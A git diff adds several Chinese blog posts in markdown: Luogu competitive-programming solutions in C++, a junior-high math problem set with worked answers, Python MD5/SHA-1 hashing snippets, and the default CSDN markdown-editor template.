+191 +313 +353 +373 +383 +``` + +## 提示 + +Hint 1: Generate the palindromes and see if they are prime. + +提示 1: 找出所有的回文数再判断它们是不是质数(素数). + + +Hint 2: Generate palindromes by combining digits properly. You might need more than one of the loops like below. + +提示 2: 要产生正确的回文数,你可能需要几个像下面这样的循环。 + + +题目翻译来自NOCOW。 + +USACO Training Section 1.5 + + +产生长度为 $5$ 的回文数: + +```cpp +for (d1 = 1; d1 <= 9; d1+=2) { // 只有奇数才会是素数 + for (d2 = 0; d2 <= 9; d2++) { + for (d3 = 0; d3 <= 9; d3++) { + palindrome = 10000*d1 + 1000*d2 +100*d3 + 10*d2 + d1;//(处理回文数...) + } + } + } + +``` + +# 题解 +这个题暴力解是肯定解不了的,明摆着超时,要4秒多。 +我们如何优化呢? + +## 打表! +想不到吧?! +> 打表,是一个信息学专用术语,意指对一些题目,通过打表技巧获得**一个有序表或常量表**,来执行程序某一部分,优化时间复杂度。这种算法也可用于在对某种题目没有最优解法时,用来得到分数的一种策略。 —— **百度百科** + +既然我们得不到,我们就毁了它! + +生成表的程序: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int INF = 1e8; // 数据规模是1e8的 +bool judge(int n){ + // 判断回文 + int t=0, m=n; + while(m) t = t*10 + m%10, m /= 10; + if(t == n){ + // 如果回文接着判断质数 + if(n <= 1) return false; + for(int i=2; i*i<=n; i++) if(n%i == 0) return false; + return true; + } + else return false; +} +int main(){ + // 把表储存到文本文档里 + freopen("PANDAOXI_YYDS.txt", "w", stdout); + // 要开的数组的长度(即有多少个这样的回文质数) + int len = 0; + // 暴力枚举 + for(int i=2; i<=INF; i++){ + if(judge(i)){ + // 找到了这样的数,就输出它 + printf("%d, ", i); + len++; + } + } + // 换回来控制台输出 + freopen("con", "w", stdout); + // 输出长度 + printf("%d", len); + // 养成好习惯~ + fclose(stdout); + return 0; +} +``` + +哈哈,你看懂了吗? +运行一下,控制台输出的是: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c9a9e5f7a3af4065acde29df495c40c9.png) +我的小电脑运行了 $3.265$ 秒,放到竞赛里绝对是过不了的,但是我们打成了这个表: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9b91722dd6564aa9b93740e03bbda8b3.png) +$PanDaoxi\ \_YYDS$,~~名副其实~~,一身傲气。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a00248dab06e417c93305853a06f622c.png) + + +接下来我放出来 AC 的模板: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int INF = 782; // 数组长度 +int PANDAOXI_YYDS[INF] = {/* 看你自己咯,把 PANDAOXI_YYDS.txt 的内容直接复制过来 */}; // 打的表 +int main(){ + int a, b; + scanf("%d%d", &a, &b); + // 疯狂枚举 + for(int i=0; i b) break; // 已经超过尾,结束 + if(PANDAOXI_YYDS[i]>=a && PANDAOXI_YYDS[i]<=b) printf("%d\n", PANDAOXI_YYDS[i]); // 刚刚好,输出 + } + return 0; +} +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/fcbf4a54bd4e49d9a1b138b758fe4a1c.png) +29ms,轻松水过! + +**祝大家2021CSP取得好成绩,$AC++$ !** + +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0c940cb758a8433f80c3ac47f0be1ab2.png) + + + diff --git "a/LuoguP2440\351\242\230\350\247\243.md" "b/LuoguP2440\351\242\230\350\247\243.md" new file mode 100644 index 0000000..8f8595d --- /dev/null +++ "b/LuoguP2440\351\242\230\350\247\243.md" @@ -0,0 +1,109 @@ +# 木材加工 + +## 题目背景 + +要保护环境 + +## 题目描述 + +木材厂有 $n$ 根原木,现在想把这些木头切割成 $k$ 段长度**均**为 $l$ 的小段木头(木头有可能有剩余)。 + +当然,我们希望得到的小段木头越长越好,请求出 $l$ 的最大值。 + +木头长度的单位是 $\text{cm}$,原木的长度都是正整数,我们要求切割得到的小段木头的长度也是正整数。 + +例如有两根原木长度分别为 $11$ 和 $21$,要求切割成等长的 $6$ 段,很明显能切割出来的小段木头长度最长为 $5$。 + +## 输入格式 + +第一行是两个正整数 $n,k$,分别表示原木的数量,需要得到的小段的数量。 + +接下来 $n$ 行,每行一个正整数 $L_i$,表示一根原木的长度。 + +## 输出格式 + +仅一行,即 $l$ 的最大值。 + +如果连 $\text{1cm}$ 长的小段都切不出来,输出 `0`。 + +## 样例 #1 + +### 样例输入 #1 + +``` +3 7 +232 +124 +456 +``` + +### 样例输出 #1 + +``` +114 +``` + +## 提示 + +#### 数据规模与约定 + +对于 $100\%$ 的数据,有 $1\le n\le 10^5$,$1\le k\le 10^8$,$1\le L_i\le 10^8(i\in[1,n])$。 + + +```cpp +// Author: PanDaoxi +#include +#define int long long +using namespace std; + +const int INF = 1e5 + 1; +int n, k, l, r, mid, a[INF]; + +bool check(int t){ + /* + 我们要求出每根棍按t截出来的数量 + 然后和k作比较 + 如果q >= k ===> true + 否则 ===> false + */ + int q = 0; + for(int i=1; i<=n; i++){ + q += a[i] / t; + } + return q >= k; +} + +signed main(){ + ios :: sync_with_stdio(false); + + cin >> n >> k; + l = 0, r = INT_MIN; + for(int i=1; i<=n; i++){ + cin >> a[i]; + r = max(r, a[i]); + } + + while(l <= r){ + mid = (l+r) / 2; + if(mid != 0){ + if(check(mid)){ + l = mid + 1; + } + else{ + r = mid - 1; + } + } + else{ + cout << 0; + return 0; + } + } + cout << r; + + return 0; +} +``` + + +[video(video-MkJdtLY6-1666702389191)(type-csdn)(url-https://live.csdn.net/v/embed/248023)(image-https://live-file.csdnimg.cn/release/live/file/1666620168028.png?x-oss-process=image/resize,l_300)(title-P2440题解)] + diff --git "a/LuoguP3853\350\267\257\346\240\207\350\256\276\347\275\256.md" "b/LuoguP3853\350\267\257\346\240\207\350\256\276\347\275\256.md" new file mode 100644 index 0000000..b28d013 --- /dev/null +++ "b/LuoguP3853\350\267\257\346\240\207\350\256\276\347\275\256.md" @@ -0,0 +1,149 @@ +这大概是我第一次发![

普及+/提高](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/84d094ea3f424229bd155bb3d8b782ac.png)难题的题解吧…… + +这道题我整了好几天,才过。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4bcd20053e614580971629598b41be36.png) + +# 题面 $\&$ 题解 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d2c9f67209b043bdad5ba07139285077.png) + + +如果单纯地思考怎么拿部分分,那这个题并不难,暴力模拟一遍就行了,小样例能过。 +如果你要拿![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a361cbcf74914de7a47acb1e8348d347.png),那你就不能枚举了,需要**二分**降低时间复杂度。 + +> 我的老师说过:求最小值的最大值(最大值的最小值),跑不了**二分答案**。 + +因为起点和终点都有路标,所以我们可以确定出“空旷值”的范围啦(即下限为 $0$, 上限为 $L$)。我们在这期间开始二分答案每一个“空旷值”。 + +思考一下,二分答案的判断函数怎么写呢? +我们可以**从第一个路标枚举到最后一个路标,取两个路标的距离差**。如果这个距离差大于$mid$,那么我们就可以增加一个路标了。 +为了进一步降低时间复杂度,我们可以使用~~小学~~数学来解决一下。我们可以知道: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/52783020f9f94a129dbf3f95bebae093.png) +(图画的很丑,拿鼠标画的我尽力了) +考虑一种特殊情况,如果距离差刚好整除$mid$,那么需要减去一。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7d53b274ff754e488f927197ca3d3f43.png) +我们用一个计数器$cnt$记录每一个距离差之间放的路标数量。我们可以根据$cnt$和最多放的路标数量$K$作比较,如果$cnt<=K$返回真,反之返回假。 + +再说二分模板,我们可以根据$check$函数的返回值来对应$l$和$r$的变化。如果返回值为真,说明空旷值还可以进一步缩小;反之表示空旷值过小。 +**因此如果$check$返回真,我们需要往左看;返回假,我们需要向右看。** + +由于最后是求最小值,所以需要输出左边界。 + +完整程序如下: + +```cpp +// Author:PanDaoxi +#include +using namespace std; + +const int INF = 1e5 + 1; +int k, n, m, l, r, mid, a[INF]; + +bool check(int t){ + int cnt = 0, + now = 0; + for(int i=1; i<=n; i++){ + /* + 取两个路标之差x,cnt+=x/t + 特判如果x%t为0,那么cnt-- + */ + now = a[i] - now; + if(now > t) cnt += now/t - (now%t == 0); + now = a[i]; + } + if(cnt <= m) return true; + else return false; +} + +int main(){ + ios :: sync_with_stdio(false); + + cin >> k >> n >> m; + for(int i=1; i<=n; i++){ + cin >> a[i]; + } + l = 0, r = k; + + while(l <= r){ + mid = (l+r) / 2; + if(check(mid)){ + r = mid - 1; + } + else{ + l = mid + 1; + } + } + cout << l; + + return 0; +} +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d7ac5e14707a41db89b2bf5d61f1dbf9.png) + +# 拓展 +Luogu P2678 跳石头 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/8b697e6797ff40ed84359ad01bb6d5b2.png) +类比于《路标设置》的思想,刚才的那道题是**枚举空旷指数**,这个题是**枚举跳跃距离**。思考一下,得到以下程序: + +```cpp +// Author:PanDaoxi +#include +#define int long long +using namespace std; + +const int INF = 5e4 + 1; +int k, m, n, l, r, mid, a[INF]; + +bool check(int t){ + int cnt = 0, + now = 0; + for(int i=1; i<=n; i++){ + if(a[i] - now >= t) now = a[i]; + else cnt++; + } + if(k - now < t){ + cnt++; + } + if(cnt <= m) return true; + else return false; +} + +signed main(){ + ios :: sync_with_stdio(false); + + cin >> k >> n >> m; + l = 1, r = k; + for(int i=1; i<=n; i++){ + cin >> a[i]; + } + + while(l <= r){ + mid = (l+r) / 2; + if(check(mid)){ + l = mid + 1; + } + else{ + r = mid - 1; + } + } + cout << r; + + return 0; +} +``` + +# 题外话 +预祝全天下$OIer$们程序员节快乐! + +我去年$1024$来的洛谷,到今天快一年了。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/aee468dca4724b35b4dc74216ef34ffd.png) +一年前我还啥也不是,现在已经可以开始挑战难题了(部分是跟着老师做的) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/436174b3b09947e085be1881105bcd68.png) + +--- + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/114fba857233428fb2a16616e379dc44.png#pic_center) + + +由于今年的形势(学校那边的七天小长假不好请),我决定不参加$CSP2022$,再努力一年,明年再战。 +$OIer$们加油啊!**祝全天下$OIer$能取得好成绩!** + diff --git "a/LuoguU238811\345\260\217P\347\232\204\346\225\260\345\255\246\351\242\230.md" "b/LuoguU238811\345\260\217P\347\232\204\346\225\260\345\255\246\351\242\230.md" new file mode 100644 index 0000000..4bf6627 --- /dev/null +++ "b/LuoguU238811\345\260\217P\347\232\204\346\225\260\345\255\246\351\242\230.md" @@ -0,0 +1,234 @@ +# [戳我直接看题解](#tijie) +--- + +# 小 P 的数学题 + +## 题目背景 + +小 $P$ 马上就要升入初中了。在此之前,他已经对初一的数学科目有了足够的了解…… + +## 题目描述 + +小 $P$ 有一些问题,想请你解答,内容主要是初一的数学题目,~~可能有些题有点儿超纲~~。 + +本题目分为 $12$ 个子问题,程序运行后首先输入一个整数 $n$ ( $1\le n\le 12$ ,分别对应冀教版的一至十一章,有一个是样例),程序需要输出第 $n$ 个问题的结果。 + +下面是每一道题的题干,请仔细阅读。 + +### 问题 1 +$有理数a, b,c\ 满足a+b+c>0,且abc<0,求\frac{\lvert a \rvert}{a}+\frac{\lvert b \rvert}{b}+\frac{\lvert c \rvert}{c}+\frac{\lvert abc \rvert}{abc} 的值。$ + +输出一个整数,表示此题的答案。 + +### 问题 2 +![luogu-t2](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/dc92ca6f15c50d6194809ba4c68b7537.jpeg) +输出一个**整数**,表示 $\angle EOC$ 的度数。 + +### 问题 3 +$当a取下列值时,求代数式\frac{a^{2}-3a+1}{5}的值: +\\(1)a=4;(2)a=-\frac{1}{3}.$ + +输出两个整数,用换行符隔开。 +除不尽的保留2位小数。 + +### 问题 4 +$先化简,再求值:2(a^{2}-2ab-b^{2})+(-a^{2}+3ab+3b^{2})。其中a是绝对值最小的数,b是最大的负整数。$ + +### 问题 5 +$规定“\heartsuit”是一种运算法则:a\heartsuit b=a^{2}-b. +\\(1)求5\heartsuit (-1)的值;(2)若(-4)\heartsuit x=2+x,求x的值。$ + +输出两个整数,用换行符隔开。 + +### 问题 6 +$解方程组: +\left\{\begin{matrix} + x+y=70, + \\2x+3y=180 +\end{matrix}\right.$ + +输出整数解 $x$ 、 $y$,用换行符隔开。 + +### 问题 7 + +![luogu-t7](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/180336494bc6ca159bf8e31a1790e0e6.jpeg) + +> 既然这是个大题,我帮你回答一半,第一题的证明题我帮你证明,下面这个你自己来。 +> +> $\\证明:\\\because BE平分\angle ABF,FC平分\angle BFG\\ +又\because \angle 1=\angle 2,\angle 1=\angle ABG,\angle 2=\angle BFG\\ +\therefore \angle EBF=\angle BFC\\ +\therefore EB//CF$ + +输出 $\angle BED$ 的度数,输出一个**整数**。 + +### 问题 8 +$求值:y(x+y)+(x-y)^2-x^2-2y^2,其中x=-\frac{1}{3},y=3.$ + +输出问题的答案(整数)。 + +### 问题 9 +![luogu-t9](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/00351394c991b2cd7b6b4c4f3aad7045.jpeg) + +输出 $2$ 个整数,一行一个,表示第一问和第二问的答案。 + +### 问题 10 +$解不等式组\left\{\begin{matrix} + 2x-5\ge 3(x-1), & ① +\\ \frac{x}{3}-\frac{x-1}{2}<1,& ② +\end{matrix}\right. 并写出它的所有整数解。$ + +输出不等式组的整数解,按从小到大排列,一行一个。 + +### 问题 11 +$因式分解:x^2-5xy+6y^2.\\ +答案:(x+ay)(x+by).(a 此题指向第 $12$ 号测试点,通过不会增加分数。 + +$解:\\ +\because x+y=7,xy=11\\ +\therefore x^2+y^2=(x+y)^2-2xy=7^2-22=27 \\ +\therefore \frac{1}{2}(x^2+y^2)=\frac{27}{2}=13.5$ + +### 提示 +- 回答问题思考全面; +- 提交之前记得检查; +- 可以直接使用判断,也可以提交答案生成程序。 + +# 题解 +> 这是我出的第二道题,欢迎观看我的[原创题单](https://www.luogu.com.cn/training/219530)。 + +呵呵,我今年新初一,但我喜欢内卷,就出了这个题目。 + +## 问题 1 +> 难点:绝对值的性质。 +> $\mathbf{若a\ge 0,|a|=a;\\若a<0,|a|=-a。}$ + +$解:\\\because abc<0 \\\therefore a,b,c中含有奇数个负因数 \\ \because a+b+c>0 \\\therefore a,b,c中至少有一个正数 \\ \therefore a,b,c一负二正 \\\therefore 原式=1+1-1-1=0.$ + +## 问题 2 +> 其实不难,是个方程题。 +> 主要就是加减消元。 + +$解:\\设\angle AOD=\angle DOB=x°,\ \angle BOE=y°\\ +则有\left\{\begin{matrix} + & 2x+3y=180\ \ ①,\\ + & x+y=70\ \ ② +\end{matrix}\right.,\\①-2\times ②消元,得y=40,代回②式,解得x=30. +\\故\angle AOD=30°.$ + +## 问题 3 +$解:\\原式=\frac{(a-1)^2-a}{5}=\frac{(a-1)^2}{5}-\frac{a}{5}.\\ +当a=4时,原式=\frac{9}{5}-\frac{4}{5}=1.\\ +当a=-\frac{1}{3}时,原式=\frac{\frac{19}{9}}{5}=\frac{19}{45}\approx 0.42.$ + +## 问题 4 +> 绝对值最小的数是 $0$,最大的负整数是$-1$。 + +$解:原式\\=2(0-0-1)+(0+0+3)\\=1$ + +## 问题 5 +$(1)原式=25+1=26.\\ +(2)16-x=2+x,解得x=7.$ + +## 问题 6 +解方程的内容,见[问题 4](#q2) 。 + +## 问题 7 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4495b69ae694430e85303a6a8118eeed.png) +$解:\\ +\because \angle 2=\angle ABF=\angle 1 \\ +\therefore AC//DG (同位角相等,两直线平行)\\ +\therefore \angle C=\angle CFG =35°\\ +\because BE//CF \\ +\therefore \angle CFG=\angle BEF=35°\\ +\therefore \angle BED=180°-\angle BEF=145°$ + +## 问题 8 +> 直接代入求值即可。 + +$解:原式 \\ +=xy+y^2+x^2+y^2-2xy-x^2-2y^2\\ +=-xy \\ +=1$ + +## 问题 9 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/91747c3fc3b8f511f1b732d905733355.jpeg#pic_center) +$解:\\ +(1)\\\because BE平分\angle CBD,\angle ABC=90°-40°=50° \\ +\therefore \angle CBE=\frac{180°-\angle ABC}{2}=65°\\ +(2)\\\because EB//FD \\ +\therefore \angle AEB=\angle EFD=180°-\angle A-(\angle ABC+\angle CBE)=180°-40°-115°=25°$ + +## 问题 10 +$解不等式组\left\{\begin{matrix} + 2x-5\ge 3(x-1), & ① +\\ \frac{x}{3}-\frac{x-1}{2}<1, &② +\end{matrix}\right. \\ +得-3 MD5的全称是Message-Digest Algorithm 5(信息-摘要算法),在90年代初由MIT Laboratory for Computer Science和RSA Data Security Inc的Ronald L. Rivest开发出来,经MD2、MD3和MD4发展而来。 +> —— [360百科](https://baike.so.com/doc/5463650-5701981.html) + + +```python +from hashlib import md5 +message = '这是需要MD5加密的内容' +print('加密结果:',md5(message.encode('utf-8')).hexdigest()) +``` +我这里解密的结果是`4065bc3afc1b669257075a260b42482b`,可以将代码改为: + +```python +from hashlib import md5 +message = '这是需要MD5加密的内容' +print('加密结果:',md5(message.encode('utf-8')).hexdigest().upper()) +``` +这样,结果就是`4065BC3AFC1B669257075A260B42482B`了。 +


+ +# `SHA-1`加密 +我们再看代码: + +```python +from hashlib import sha1 +message = '这是需要SHA-1加密的内容' +print('加密结果:',sha1(message.encode('utf-8')).hexdigest()) +``` +我获得结果`8f3739d8026ab4d948ac0d4e246c9c132bd32fac`,使用以下代码可以转换为大写,得到结果`8F3739D8026AB4D948AC0D4E246C9C132BD32FAC`: + +```python +from hashlib import sha1 +message = '这是需要SHA-1加密的内容' +print('加密结果:',sha1(message.encode('utf-8')).hexdigest().upper()) +``` + diff --git "a/MarkDown\345\237\272\346\234\254\344\275\277\347\224\250.md" "b/MarkDown\345\237\272\346\234\254\344\275\277\347\224\250.md" new file mode 100644 index 0000000..65396bd --- /dev/null +++ "b/MarkDown\345\237\272\346\234\254\344\275\277\347\224\250.md" @@ -0,0 +1,226 @@ +@[TOC](这里写自定义目录标题) + +# 欢迎使用Markdown编辑器 + +你好! 这是你第一次使用 **Markdown编辑器** 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。 + +## 新的改变 + +我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新功能,帮助你用它写博客: + 1. **全新的界面设计** ,将会带来全新的写作体验; + 2. 在创作中心设置你喜爱的代码高亮样式,Markdown **将代码片显示选择的高亮样式** 进行展示; + 3. 增加了 **图片拖拽** 功能,你可以将本地的图片直接拖拽到编辑区域直接展示; + 4. 全新的 **KaTeX数学公式** 语法; + 5. 增加了支持**甘特图的mermaid语法[^1]** 功能; + 6. 增加了 **多屏幕编辑** Markdown文章功能; + 7. 增加了 **焦点写作模式、预览模式、简洁写作模式、左右区域同步滚轮设置** 等功能,功能按钮位于编辑区域与预览区域中间; + 8. 增加了 **检查列表** 功能。 + [^1]: [mermaid语法说明](https://mermaidjs.github.io/) + +## 功能快捷键 + +撤销:Ctrl/Command + Z +重做:Ctrl/Command + Y +加粗:Ctrl/Command + B +斜体:Ctrl/Command + I +标题:Ctrl/Command + Shift + H +无序列表:Ctrl/Command + Shift + U +有序列表:Ctrl/Command + Shift + O +检查列表:Ctrl/Command + Shift + C +插入代码:Ctrl/Command + Shift + K +插入链接:Ctrl/Command + Shift + L +插入图片:Ctrl/Command + Shift + G +查找:Ctrl/Command + F +替换:Ctrl/Command + G + +## 合理的创建标题,有助于目录的生成 + +直接输入1次#,并按下space后,将生成1级标题。 +输入2次#,并按下space后,将生成2级标题。 +以此类推,我们支持6级标题。有助于使用`TOC`语法后生成一个完美的目录。 + +## 如何改变文本的样式 + +*强调文本* _强调文本_ + +**加粗文本** __加粗文本__ + +==标记文本== + +~~删除文本~~ + +> 引用文本 + +H~2~O is是液体。 + +2^10^ 运算结果是 1024. + +## 插入链接与图片 + +链接: [link](https://www.csdn.net/). + +图片: ![Alt](https://pic.2ge.org/cdn/?url=https://imgconvert.csdnimg.cn/aHR0cHM6Ly9hdmF0YXIuY3Nkbi5uZXQvNy83L0IvMV9yYWxmX2h4MTYzY29tLmpwZw) + +带尺寸的图片: ![Alt](https://pic.2ge.org/cdn/?url=https://pic.2ge.org/cdn/?url=https://imgconvert.csdnimg.cn/aHR0cHM6Ly9hdmF0YXIuY3Nkbi5uZXQvNy83L0IvMV9yYWxmX2h4MTYzY29tLmpwZw =30x30) + +居中的图片: ![Alt](https://pic.2ge.org/cdn/?url=https://pic.2ge.org/cdn/?url=https://imgconvert.csdnimg.cn/aHR0cHM6Ly9hdmF0YXIuY3Nkbi5uZXQvNy83L0IvMV9yYWxmX2h4MTYzY29tLmpwZw#pic_center) + +居中并且带尺寸的图片: ![Alt](https://pic.2ge.org/cdn/?url=https://pic.2ge.org/cdn/?url=https://pic.2ge.org/cdn/?url=https://imgconvert.csdnimg.cn/aHR0cHM6Ly9hdmF0YXIuY3Nkbi5uZXQvNy83L0IvMV9yYWxmX2h4MTYzY29tLmpwZw#pic_center =30x30) + +当然,我们为了让用户更加便捷,我们增加了图片拖拽功能。 + +## 如何插入一段漂亮的代码片 + +去[博客设置](https://mp.csdn.net/console/configBlog)页面,选择一款你喜欢的代码片高亮样式,下面展示同样高亮的 `代码片`. +```javascript +// An highlighted block +var foo = 'bar'; +``` + +## 生成一个适合你的列表 + +- 项目 + - 项目 + - 项目 + +1. 项目1 +2. 项目2 +3. 项目3 + +- [ ] 计划任务 +- [x] 完成任务 + +## 创建一个表格 +一个简单的表格是这么创建的: +项目 | Value +-------- | ----- +电脑 | $1600 +手机 | $12 +导管 | $1 + +### 设定内容居中、居左、居右 +使用`:---------:`居中 +使用`:----------`居左 +使用`----------:`居右 +| 第一列 | 第二列 | 第三列 | +|:-----------:| -------------:|:-------------| +| 第一列文本居中 | 第二列文本居右 | 第三列文本居左 | + +### SmartyPants +SmartyPants将ASCII标点字符转换为“智能”印刷标点HTML实体。例如: +| TYPE |ASCII |HTML +|----------------|-------------------------------|-----------------------------| +|Single backticks|`'Isn't this fun?'` |'Isn't this fun?' | +|Quotes |`"Isn't this fun?"` |"Isn't this fun?" | +|Dashes |`-- is en-dash, --- is em-dash`|-- is en-dash, --- is em-dash| + +## 创建一个自定义列表 +Markdown +: Text-to-HTML conversion tool + +Authors +: John +: Luke + +## 如何创建一个注脚 + +一个具有注脚的文本。[^2] + +[^2]: 注脚的解释 + +## 注释也是必不可少的 + +Markdown将文本转换为 HTML。 + +*[HTML]: 超文本标记语言 + +## KaTeX数学公式 + +您可以使用渲染LaTeX数学表达式 [KaTeX](https://khan.github.io/KaTeX/): + +Gamma公式展示 $\Gamma(n) = (n-1)!\quad\forall +n\in\mathbb N$ 是通过欧拉积分 + +$$ +\Gamma(z) = \int_0^\infty t^{z-1}e^{-t}dt\,. +$$ + +> 你可以找到更多关于的信息 **LaTeX** 数学表达式[here][1]. + +## 新的甘特图功能,丰富你的文章 + +```mermaid +gantt + dateFormat YYYY-MM-DD + title Adding GANTT diagram functionality to mermaid + section 现有任务 + 已完成 :done, des1, 2014-01-06,2014-01-08 + 进行中 :active, des2, 2014-01-09, 3d + 计划一 : des3, after des2, 5d + 计划二 : des4, after des3, 5d +``` +- 关于 **甘特图** 语法,参考 [这儿][2], + +## UML 图表 + +可以使用UML图表进行渲染。 [Mermaid](https://mermaidjs.github.io/). 例如下面产生的一个序列图: + +```mermaid +sequenceDiagram +张三 ->> 李四: 你好!李四, 最近怎么样? +李四-->>王五: 你最近怎么样,王五? +李四--x 张三: 我很好,谢谢! +李四-x 王五: 我很好,谢谢! +Note right of 王五: 李四想了很长时间, 文字太长了
不适合放在一行. + +李四-->>张三: 打量着王五... +张三->>王五: 很好... 王五, 你怎么样? +``` + +这将产生一个流程图。: + +```mermaid +graph LR +A[长方形] -- 链接 --> B((圆)) +A --> C(圆角长方形) +B --> D{菱形} +C --> D +``` + +- 关于 **Mermaid** 语法,参考 [这儿][3], + +## FLowchart流程图 + +我们依旧会支持flowchart的流程图: +```mermaid +flowchat +st=>start: 开始 +e=>end: 结束 +op=>operation: 我的操作 +cond=>condition: 确认? + +st->op->cond +cond(yes)->e +cond(no)->op +``` + +- 关于 **Flowchart流程图** 语法,参考 [这儿][4]. + +## 导出与导入 + +### 导出 +如果你想尝试使用此编辑器, 你可以在此篇文章任意编辑。当你完成了一篇文章的写作, 在上方工具栏找到 **文章导出** ,生成一个.md文件或者.html文件进行本地保存。 + +### 导入 +如果你想加载一篇你写过的.md文件,在上方工具栏可以选择导入功能进行对应扩展名的文件导入, +继续你的创作。 + +# 源代码 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1034a0d460204142a97ec0c301dabf97.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7065e4a14ebc4fa7a51348bf1ecd5959.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + + + [1]: http://meta.math.stackexchange.com/questions/5020/mathjax-basic-tutorial-and-quick-reference + [2]: https://mermaidjs.github.io/ + [3]: https://mermaidjs.github.io/ + [4]: http://adrai.github.io/flowchart.js/ diff --git "a/NOI2016\347\234\237\351\242\230\342\200\224\342\200\224\344\274\230\347\247\200\347\232\204\346\213\206\345\210\206.md" "b/NOI2016\347\234\237\351\242\230\342\200\224\342\200\224\344\274\230\347\247\200\347\232\204\346\213\206\345\210\206.md" new file mode 100644 index 0000000..9fd0f76 --- /dev/null +++ "b/NOI2016\347\234\237\351\242\230\342\200\224\342\200\224\344\274\230\347\247\200\347\232\204\346\213\206\345\210\206.md" @@ -0,0 +1,26 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/30edd9a2168646f8b7c65b635b975f0e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +#include +using namespace std; +int n; +int main(){ + cin>>n; + if(n%2==1){ + cout<<"-1"<=1;i--){ + if(n>=pow(2,i)){ //依次减 + n-=pow(2,i); //如果可以减,那么拆分 + cout< +using namespace std; +int main(){ + int spend,money=0,submit=0; + for(int i=1;i<=12;i++){ + cin>>spend; + money=money+300-spend; + if(money<0){ + cout<<"-"< +using namespace std; +int main(){ + int spend,money=0,submit=0; + //spend=每个月花的钱 + //money=手里的零钱 + //submit=存给妈妈的钱 + for(int i=1;i<=12;i++){ //循环12个月 + cin>>spend; + money=money+300-spend; //计算本月过去后还剩多少钱 + if(money<0){ //如果下个月没钱了,输出、退出 + cout<<"-"< +using namespace std; +int main(){ + int spend,money=0,submit=0; + for(int i=1;i<=12;i++){ + cin>>spend; + money=money+300-spend; + if(money<0){ + cout<<"-"< +using namespace std; +int main(){ + int spend,money=0,submit=0; + //spend=每个月花的钱 + //money=手里的零钱 + //submit=存给妈妈的钱 + for(int i=1;i<=12;i++){ //循环12个月 + cin>>spend; + money=money+300-spend; //计算本月过去后还剩多少钱 + if(money<0){ //如果下个月没钱了,输出、退出 + cout<<"-"< +using namespace std; +int main(){ + int n,m,sum=0,x=0,y=0; + cin>>n>>m; + for(int i=n;i<=m;i++){ + y=i; + while(y>1){ + x=y%10; + y/=10; + if(x==2) sum++; + } + } + cout< +using namespace std; +int main(){ + int n,max=0; + cin>>n; + for(int i=2;i<=n;i++){ + if(n%i==0){ + cout< + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/96563e13e74742998445ec62097897db.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +总感觉这个题似乎在哪里见过,但是又想不起来…… +昨天做过一个类似的题,今天写一下注释,加深一下印象: + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int main(){ + int n,x,sum=0,a=0,b=0; + cin>>n>>x; + //遍历从1~n之间所有数 + for(int i=1;i<=n;i++){ + a=i; //记录i的值 + while(a>=1){ //递除循环 + b=a%10; //获取末位 + a/=10; //递除:获取到新一个数字,重新循环 + if(b==x) sum++; //如果末尾为x,计数器增加1 + } + } + cout< + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/96563e13e74742998445ec62097897db.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) 